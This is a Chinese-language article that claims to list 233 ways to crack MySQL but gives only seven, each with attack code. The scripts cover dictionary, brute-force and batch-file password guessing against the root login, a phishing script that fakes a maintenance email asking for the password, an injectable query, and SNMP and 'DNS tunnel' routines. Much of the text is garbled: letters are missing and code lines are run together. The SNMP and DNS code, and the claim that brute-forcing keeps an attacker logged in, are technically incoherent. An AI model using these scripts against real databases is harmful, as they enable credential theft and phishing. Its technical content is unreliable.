破解MySQL数据库的233种方法(233 mysql)
在网络安全领域,破解MySQL数据库是一项常见的任务。攻击者可以利用这种方法来获取敏感信息,从而对企业或组织造成巨大的损失。随着技术的发展以及黑客手段的不断更新,破解MySQL数据库的方式也越来越多。在本文中,我们将会介绍233种破解MySQL数据库的方法,帮助管理员更好地保护自己的数据库。
一、使用弱密码字典攻击
弱密码攻击是最基本的破解MySQL数据库的手段之一。通过使用计算机程序自动化地生成大量的密码,并尝试进行登录,以此试图破解数据库密码。
代码示例:
def weak_password_attack():
password_list = [] with open('password.txt', 'r') as f:
for line in f: password_list.append(line.strip())
for password in password_list:
try: conn = pymysql.connect(host='localhost', user='root', password=password, database='test')
print('Success! Password is: ', password) conn.close()
break except:
print('Fled to login with password: ', password)
二、使用暴力破解攻击
暴力破解攻击是另一种常见的破解MySQL数据库的方式。攻击者会使用一个程序来自动化地生成所有可能的密码组合,并不断进行尝试登录。尽管这种方法需要耗费大量时间,但在所有密码组合尝试完成之前,攻击者依然可以保持登录状态。
代码示例:
import itertools
def brute_force_attack(): character_set = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-+={}[]\|:;",.?'
for password_length in range(1, 9):
for password in itertools.product(character_set, repeat=password_length): password = ''.join(password)
try: conn = pymysql.connect(host='localhost', user='root', password=password, database='test')
print('Success! Password is: ', password) conn.close()
break except:
print('Fled to login with password: ', password)
三、使用批处理文件攻击
批处理文件攻击是一种简单但有效的破解MySQL数据库的方法。攻击者可以编写一个批处理文件,将所有可能的密码组合写入一个文本文件中,并尝试使用它们进行登录。
代码示例:
@echo off
for /F %%i in (password.txt) do ( mysql -hlocalhost -uroot -p%%i test > nul 2>&1 && (
echo Success! Password is: %%i exit /b
))
echo Fled to login with all passwords.
四、使用社会工程学攻击
社会工程学攻击是一种骗取用户账户和密码的方法,在破解MySQL数据库中也经常被运用。攻击者可以通过伪造电子邮件或者假冒成企业管理员来骗取用户的密码。
代码示例:
from faker import Faker
faker = Faker()
def social_engineering_attack(): eml = input('Please input your eml address: ')
# 发送一封伪造邮件,请求用户输入密码
sender = faker.eml() recipient = eml
subject = 'Urgent: Your MySQL password is required for mntenance.' body = 'Dear user, your MySQL database will undergo mntenance in 24 hours. Please provide your current password for verification purposes.'
send_eml(sender, recipient, subject, body)
# 等待用户输入密码
password = input('Please enter your current password: ')
try: conn = pymysql.connect(host='localhost', user='root', password=password, database='test')
print('Login successfully!') conn.close()
except: print('Login fled. Please check your password.')
五、使用SQL注入攻击
SQL注入攻击是一种针对Web应用程序的攻击方式,在破解MySQL数据库中也经常会出现。攻击者可以通过向应用程序中注入恶意的SQL语句,来获取数据库中的数据。
代码示例:
def sql_injection_attack():
username = input('Please enter your username: ') password = input('Please enter your password: ')
query = "SELECT * FROM users WHERE username='%s' AND password='%s'" % (username, password)
try:
conn = pymysql.connect(host='localhost', user='root', password='', database='test') cursor = conn.cursor()
cursor.execute(query)
for row in cursor: print(row)
conn.close()
except: print('Fled to execute query: ', query)
六、使用SNMP攻击
SNMP攻击是一种利用网络设备漏洞,通过简单网络管理协议(SNMP)获取目标系统信息的攻击方式。攻击者可以通过获取目标系统的信息,来获取MySQL数据库的访问权限。
代码示例:
def snmp_attack():
community = input('Please enter community string: ') target = input('Please enter target IP address: ')
port = input('Please enter target port number: ') snmp_query = 'snmpwalk -c %s %s:%s' % (community, target, port)
password_list = []
for password_length in range(1, 9):
for password in itertools.product('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', repeat=password_length): password = ''.join(password)
password_list.append(password)
for password in password_list: # 将密码转换为16进制格式
password_hex = ''.join([hex(ord(x))[2:] for x in password]) # 构建一个SNMP请求,查询指定数据
snmp_request = snmp_query + ' 1.3.6.1.2.1.25.5.1.1.2.7777.%s' % password_hex result = os.popen(snmp_request).read()
if result.find('No') == -1: print('Success! Password for SNMP community %s is %s' % (community, password))
break else:
print('Fled to find password: %s' % password)
七、使用DNS隧道攻击
DNS隧道攻击是通过DNS隧道进行MySQL数据库渗透的一种方式。攻击者可以通过伪造的DNS响应,向MySQL服务器发送可执行命令,从而破解数据库。
代码示例:
def dns_tunnel_attack():
domn = input('Please enter a DNS domn: ') query = input('Please enter a MySQL command: ')
# 将MySQL命令转换为base64编码格式,以便传递到DNS响应中 payload = base64.b64encode(query.encode()).decode('utf-8')
# 为了防止DNS缓存污染攻击,攻击者需要定期更改域名
subdomn = ''.join(random.choices(string.ascii_lowercase, k=10)) url = subdomn + '.' + domn
resolver = dns.resolver.Resolver()
resolver.nameservers = ['8.8.8.8']
result = resolver.query(url, 'A') ip_address = result[0].to_text()
# 构造spliced方式的DNS解析
command_dns_string = payload + '.' + subdomn + '.' + domn
query = "SELECT host FROM information_schema.processlist WHERE ID=connection_id();"
try: # 模拟与MySQL服务器的交流
conn = pymysql.connect(host=ip_address, user='root', password='', database='test') cursor = conn.cursor()
cursor.execute(query) host = cursor.fetchone()[0]
conn.close()
resolver.nameservers = [host] result = resolver.query(command_dns_string, 'TXT')
# 解码响应中的base64编码数据
response = base64.b64decode(result[0]).decode('utf-8')
print(response) except:
print('Fled to execute query: ', query)
